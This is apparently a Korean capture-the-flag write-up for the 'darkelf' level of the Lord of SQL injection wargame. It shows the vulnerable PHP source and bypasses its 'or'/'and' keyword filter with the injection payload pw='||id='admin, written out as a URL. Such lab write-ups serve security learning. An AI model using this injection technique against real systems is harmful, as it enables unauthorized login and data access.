LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.
이번 포스트는 wolfman에 이어 darkelf 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.
darkelf는 wolfman과 비슷하게 단순 필터링 우회문제입니다.
|
문제 이해 |
문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.
<?php include "./config.php"; login_chk(); dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; if($result['id'] == 'admin') solve("darkelf"); highlight_file(__FILE__); ?>
위의 문제에서 6번 라인에서는 SQL Injection을 수행할 때 or, and 문자를 사용할 수 없게 되어있습니다.
여기서는 or와 and를 대신해서 사용할 문자를 선택하도록 합니다.
흠흠. 여기서는 admin이 선택되어야 하는데, id가 guest로 되어 있기 때문에 새로운 조건문을 완성해줘야 합니다.
단, or와 and가 막혀 있기 때문에 이 문자를 대신하여 사용할 ||와 &&를 사용해줍니다.
|
문제 풀이(쿼리) |
GET 형태이기 때문에 다음과 같이 쿼리를 짜주었습니다.
|
pw 쪽에 값 삽입(||를 이용) |
https://los.rubiya.kr/chall/darkelf_c6a5ed64c4f6a7a5595c24977376136b.php?pw=%27||id=%27admin |
위의 쿼리는 pw='||id='admin 이라고 작성해주었습니다.
여기서 ||는 or 대신에 SQL문에서 사용할 수 있는 문자입니다.
query : select id from prob_darkelf where id='guest' and pw=''||id='admin' |
이렇게 되면 id가 guest인 값의 비밀번호가 선택되지 않기 때문에 거짓 where문이 됩니다.
여기서 이후 ||id='admin'이 완성되도록 적절히 값을 삽입하면, id값을 admin으로 특정해줄 수 있습니다.
'WARGAMES > LOS(rubiya)' 카테고리의 다른 글
[LOS - Lord Of SQL] Level 10 - skeleton (0) | 2019.03.27 |
---|---|
[LOS - Lord Of SQL] Level 09 - vampire (0) | 2019.03.27 |
[LOS - Lord Of SQL] Level 08 - troll (0) | 2019.03.26 |
[LOS - Lord Of SQL] Level 07 - orge (0) | 2019.03.26 |
[LOS - Lord Of SQL] Level 05 - wolfman (0) | 2019.03.24 |
[LOS - Lord Of SQL] Level 04 - orc (2) | 2019.03.24 |
[LOS - Lord Of SQL] Level 03 - goblin (0) | 2019.03.24 |
[LOS - Lord Of SQL] Level 02 - cobolt (0) | 2019.03.24 |